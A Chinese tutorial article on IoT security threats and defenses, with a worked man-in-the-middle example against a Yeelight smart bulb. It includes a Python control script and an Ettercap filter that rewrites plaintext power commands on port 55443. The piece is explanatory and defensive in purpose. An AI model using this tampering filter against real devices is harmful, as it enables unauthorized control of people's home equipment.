网络安全攻防:物联网安全攻防

安全
网络层主要实现物联网信息的转发和传送,包括网络拓扑组成、网络路由协议等。利用路由协议与网络拓扑的脆弱性,可对网络层实施攻击。

[[405851]]

 01 物联网安全防御机制与手段

1. 感知层安全问题

(1)物理安全与信息采集安全。感知层是物联网的网络基础,由具体的感知设备组成,感知层安全问题主要是指感知节点的物理安全与信息采集安全。

(2)典型攻击技术。针对感知层的攻击主要来自节点的信号干扰或信号窃取,典型的攻击技术主要有阻塞攻击、伪装攻击、重放攻击及中间人攻击等。

常见的感知层安全手段如下。

Skimming:在末端设备或RFID持卡人不知情的情况下,信息被读取。

Eavesdropping:在一个通道的中间,信息被中途截取。

Spoofing:伪造复制设备数据,冒名输入到系统中。

Cloning:克隆末端设备,冒名顶替。

Killing:损坏或盗走末端设备。

Jamming:伪造数据造成设备阻塞不可用。

Shielding:用机械手段屏蔽电信号,让末端无法连接。

2. 网络层安全问题

网络层主要实现物联网信息的转发和传送,包括网络拓扑组成、网络路由协议等。利用路由协议与网络拓扑的脆弱性,可对网络层实施攻击。

(1)物联网接入安全。物联网为实现不同类型传感器信息的快速传递与共享,采用了移动互联网、有线网、Wi-Fi、WiMAX等多种网络接入技术。网络接入层的异构性,使如何为终端提供位置管理以保证异构网络间节点漫游和服务的无缝连接时,出现了不同网络间通信时安全认证、访问控制等安全问题。跨异构网络攻击,就是针对上述物联网实现多种传统网络融合时,由于没有统一的跨异构网络安全体系标准,利用不同网络间标准、协议的差异性,专门实施的身份假冒、恶意代码攻击、伪装欺骗等网络攻击技术。

(2)信息传输安全。物联网信息传输主要依赖于传统网络技术,网络层典型的攻击技术主要包括邻居发现协议攻击、虫洞攻击、黑洞攻击等。邻居发现协议攻击。利用IPv6中邻居发现协议(Neighbor Discovery Protoc01),使得目标攻击节点能够为其提供路由连接,导致目标节点无法获得正确的网络拓扑感知,达到目标节点过载或阻断网络的目的,例如洪泛攻击。

3. 应用层安全问题

应用层主要是指建立在物联网服务与支撑数据上的各种应用平台,如云计算、分布式系统、海量信息处理等,但是,这些支撑平台要建立起一个高效、可靠和可信的应用服务,需要建立相应的安全策略或相对独立的安全架构。典型的攻击技术包括软件漏洞攻击、病毒攻击、拒绝服务流攻击。

02 智能家居安全控制攻击实例

智能家居是当前一个典型的物联网应用行业。下面以一款小米Wi-Fi智能灯泡为例,通过自主实验分析智能家居系统潜在的安全攻击隐患。

采用Yeelight LED智能灯泡,根据官网指示称,可以在其App中打开极客模式。官方也有相应的声明。

Yeelight第三方控制协议是针对技术爱好者推出的一项功能。Yeelight市面上在售的所有Wi-Fi照明设备(Yeelight白光灯泡Yeeilght彩光灯泡)以及后续推出的Wi-Fi产品都会支持该协议。基于这个协议,用户可以选择自己喜欢的语言和平台开发自己的应用程序以用来发现和控制Yeelight Wi-Fi设备。该协议采用了类似SSDP的发现机制和基于JSON的控制命令,开发者可以在同一个局域网下实现设备的发现和控制。需要注意的是,该协议是基于明文的传输,设备的安全性依赖于用户的路由器安全性,因此用户在使用该协议的时候,需要对自己的设备安全性负责。

1. SSDP协议

一种无需任何配置、管理和维护网络设备服务的机制。此协议采用基于通知和发现路由的多播发现方式实现。协议客户端在保留的多播地址239.255.255.250:1900(IPv4)发现服务,(IPv6地址是FF0x::C)同时每个设备服务也在此地址上监听服务发现请求。如果服务监听到的发现请求与此服务相匹配,此服务会使用单播方式响应。

常见的协议请求消息有两种类型,第一种是服务通知,设备和服务使用此类通知消息声明自己存在;第二种是查询请求,协议客户端用此请求查询某种类型的设备和服务。请求消息中包含设备的特定信息或某项服务的信息,例如设备类型、标识符和指向设备描述文档的URL地址。

Yeelight采用了类似的协议,发现查询过程如图1所示。

图1  查询过程

2. 自定义开发

用Python编写了发现控制脚本。核心代码如下。 

  1. def start(self):  
  2. self.__send_search()  
  3. while True:  
  4. #rlist,wlist,xlist  
  5. reads,_,_=select.select([self.__s],[],[],5)  
  6. if reads:  
  7. data,addr=self.__s.recvfrom(2048) 
  8. list_data=data.split('\r\n')  
  9. IP=""  
  10. PORT=""  
  11. ID=""  
  12. for item in list_data:  
  13. temp=item.split(':')  
  14. if temp[0]=="Location":  
  15. print "IP:"+temp[2].replace("//","")  
  16. print "PORT:"+temp[3]  
  17. IP=temp[2].replace("//","")  
  18. PORT=temp[3]  
  19. if temp[0]=="id":  
  20. print "ID"+temp[1]  
  21. ID=temp[1]  
  22. self.operate(IP,PORT,ID)  
  23. break  
  24. else: #timeout  
  25. self.__send_search()  
  26. self.__s.close() 

控制的核心代码如下,可知是TCP明文进行操作的。 

  1. def operate(self,ip,port,id):  
  2. print '='*30  
  3. port=int(port)  
  4. # print type(port)  
  5. try:  
  6. self.__s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
  7. except socket.error,msg:  
  8. print 'Failed to create socket.Error code: '+str(msg[0])+' ,Error message : '+msg[1]  
  9. sys.exit();  
  10. print 'Socket Created'  
  11. self.__s.connect((ip,port))  
  12. print "connected"  
  13. #msg='{"id": 233,"method": "set_power","params":["on","smooth",1500]}\r\n'  
  14. xx=0  
  15. while xx < 1000:  
  16. #获得远程接口状态  
  17. try:  
  18. url_data=urllib2.urlopen(JSON_ADDRESS).readline()  
  19. except Exception,e:  
  20. print e  
  21. # print url_data  
  22. status=json.loads(url_data)['status']  
  23. print status  
  24. # exit()  
  25. msg='{"id": '+str(time.time())+',"method": "set_power","params":["'+status+'","smooth",  
  26. 100]}\r\n'  
  27. print msg  
  28. try:  
  29. self.__s.sendall(msg)  
  30. reply=self.__s.recv(4096)  
  31. print reply  
  32. except socket.error:  
  33. print 'Send failed'  
  34. sys.exit()  
  35. time.sleep(1)  
  36. xxxx=xx+1  
  37. print "finished"  
  38. self.__s.close() 

如果我们在局域网中采用中间人攻击的方式,来篡改TCP分组,则能实现控制反转,使用者发出开的指令,经过反转,Yeelight灯泡收到的是关闭指令。

采用Ettercap进行中间人攻击,核心的篡改代码如下。 

  1. if(ip.proto==TCP && tcp.dst==55443){  
  2. if(search(DATA.data,“set_power”)){  
  3. if(search(DATA.data,“off”)){  
  4. replace(“off”,“on”);  
  5.  
  6. else{  
  7. replace(“on”,“off”);  
  8.  
  9.  

这样就能实现控制反转。在此提出这个例子,旨在提醒物联网中最常见的安全问题之一,保证数据在网络中传输不被篡改、窃听。

03 物联网安全防御机制与手段

物联网产业即将进入爆发期,我国在物联网信息安全技术方面安全可控能力还比较弱。在传感器技术方面,我国还主要集中在低端传感器研究和产品开发,中高档传感器产业几乎100%从国外进口,芯片 90%以上依赖国外;在 RFID 技术方面,我国低频和高频技术相对成熟,但UHF和微波频段产品与国外技术相比差距较大;在M2M 等网络层技术方面,我国与国外基本同步,都处于研究阶段;在信息安全共性技术方面,我国已经开展了相关研究工作,但相对国外也存在较大的差距,如 RSA 已经推出用于 RFID 的安全认证和访问管理产品,国内信息安全企业还没有出现类似产品。在物联网的无线通信方面,我国正面临着信息安全挑战,需要尽快解决,一般企业直接使用加密等方式,但是相关规定并不健全,还需要政府出台相应的标准和规范。同时,也需要做好物联网信息安全顶层设计,加强物联网信息安全技术的研发,有效保障物联网的安全应用,遵循“同步规划、同步建设、同步运行”原则,才可以保障物联网走上持续发展之路。

目前,与金融、电子商务等其他行业相比,IoT安全性尚未得到充分理解和明确定义。开发一款IoT产品时,不论是像可穿戴设备这样的小型产品,还是像油田传感器网络或全球配送作业这样的大型IoT部署,从一开始就必须考虑到安全问题。要了解安全的问题所在,就需要了解IoT设备的攻击方法,通过研究攻击方法提高IoT产品的防御能力。

具体而言,除了传统的信息安全防护技术,可以从如下几个方面针对物联网加强安全防御。

代码加固。由于远程接入、操作等智能终端的代码小巧,容易被传播复用,因此首先需谨慎处理代码,可以建立代码的安全审查制度。其次,智能终端芯片或嵌入式模块往往缺乏安全保护容易被逆向分析,因此需加强代码加固手段,防止代码被破解、分析、植入等。

通信加密。射频、蓝牙等数据通信协议通常有各种版本的实现,开发人员为了最求快速部署,常常忽略通信加密,而导致数据分组被分析破解,因此,可以采用AES、SSL/TLS等标准化的加密算法或协议,或自行研制加密方案。

安全网关。智能家居等通常直接采用无线路由的接入方式,即支持多种物联网智能终端的快速接入,这样的接入设备最容易遭受黑客的劫持,因此需要研制部署物联网安全网关。

身份认证。随着物联网应用的普及,可能每个人都可能成为智能手环、可穿戴设备、智能钥匙等终端节点的持有者,建立既安全又便捷的统一身份认证体系变得越来越重要。生物识别、行为大数据分析、云端认证服务等有望解决物联网的安全认证问题。

漏洞共享。近年来爆发的视频摄像头远程控制和DDoS等物联网安全事件,很大程度上在于业界缺乏足够的安全意识和漏洞共享平台,因此建立完善的漏洞播报和安全快速响应机制,对物联网安全至关重要。

态势感知。可以预测到未来数以亿计的物联网设备将部署在我们的周围,因此跟踪监控这些设备,及时掌握设备运行的安全状态,将变得更加重要。目前已出现Shadon、ZoomEye等全球物联网设备搜索引擎,也将成为网络空间安全的一种常态化服务平台。 

 

责任编辑:庞桂玉 来源: 计算机与网络安全
相关推荐

2021-04-25 21:45:25

网络安全网络安全攻防ZigBee安全

2021-04-23 13:35:41

网络安全蓝牙Wi-Fi

2021-02-02 14:02:48

网络安全对称密码密钥

2021-04-06 10:30:49

网络安全暗网互联网

2021-05-21 12:52:47

网络安全Android App虚拟机

2021-05-07 14:12:50

网络安全Web安全CSRF

2019-01-10 15:44:00

2021-05-24 11:40:50

网络安全数据库安全服务器

2021-05-13 20:38:30

2021-04-30 19:38:42

网络安全WebHTTP

2021-05-27 12:30:49

网络安全数据泄露加密

2021-05-25 11:40:27

网络安全隐写互联网

2021-06-11 13:57:46

网络安全大数据安全互联网

2021-05-08 15:22:31

网络安全Web安全SQL

2021-04-27 10:00:27

网络安全WebURL

2021-03-15 13:50:24

网络安全Android安全机制

2021-06-01 09:26:20

网络安全APT代码

2021-04-01 10:40:22

网络安全软件

2021-03-24 09:46:46

网络安全软件反汇编

2021-03-22 10:52:58

网络安全Android数据安全
点赞
收藏

51CTO技术栈公众号